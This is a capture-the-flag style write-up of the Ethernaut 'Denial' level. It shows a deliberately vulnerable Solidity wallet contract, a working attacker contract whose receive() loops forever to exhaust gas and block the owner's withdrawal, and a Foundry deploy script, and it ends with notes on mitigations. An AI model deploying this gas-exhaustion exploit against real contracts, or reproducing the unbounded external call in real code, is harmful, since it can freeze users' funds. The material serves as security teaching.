Denial
This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner.
If you can deny the owner from withdrawing funds when they call withdraw()
(whilst the contract still has funds, and the transaction is of 1M gas or less) you will win this level.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}
Solution:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Script.sol";
import "forge-std/console.sol";
import {Attacker,Denial} from '../src/20.sol';
contract POC is Script {
function run() external {
uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
address addr = vm.envAddress("INSTANCE_20");
vm.startBroadcast(deployerPrivateKey);
new Attacker(addr);
vm.stopBroadcast();
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
interface Denial {
function setWithdrawPartner(address _partner) external;
}
contract Attacker {
Denial denial;
constructor(address _denial) {
denial = Denial(_denial);
denial.setWithdrawPartner(address(this));
}
// Classic DOS attack
receive() external payable {
uint i = 0;
while (true) {
i++;
}
}
}
This level demonstrates that external calls to unknown contracts can still create denial of service attack vectors if a fixed amount of gas is not specified.
If you are using a low level call
to continue executing in the event an external call reverts, ensure that you specify a fixed gas stipend. For example call.gas(100000).value()
.
Typically one should follow the checks-effects-interactions pattern to avoid reentrancy attacks, there can be other circumstances (such as multiple external calls at the end of a function) where issues such as this can arise.
Note: An external CALL
can use at most 63/64 of the gas currently available
at the time of the CALL
. Thus, depending on how much gas
is required to
complete a transaction, a transaction of sufficiently high gas (i.e. one
such
that 1/64 of the gas is capable of completing the remaining opcodes in
the parent call) can be used to mitigate this particular attack.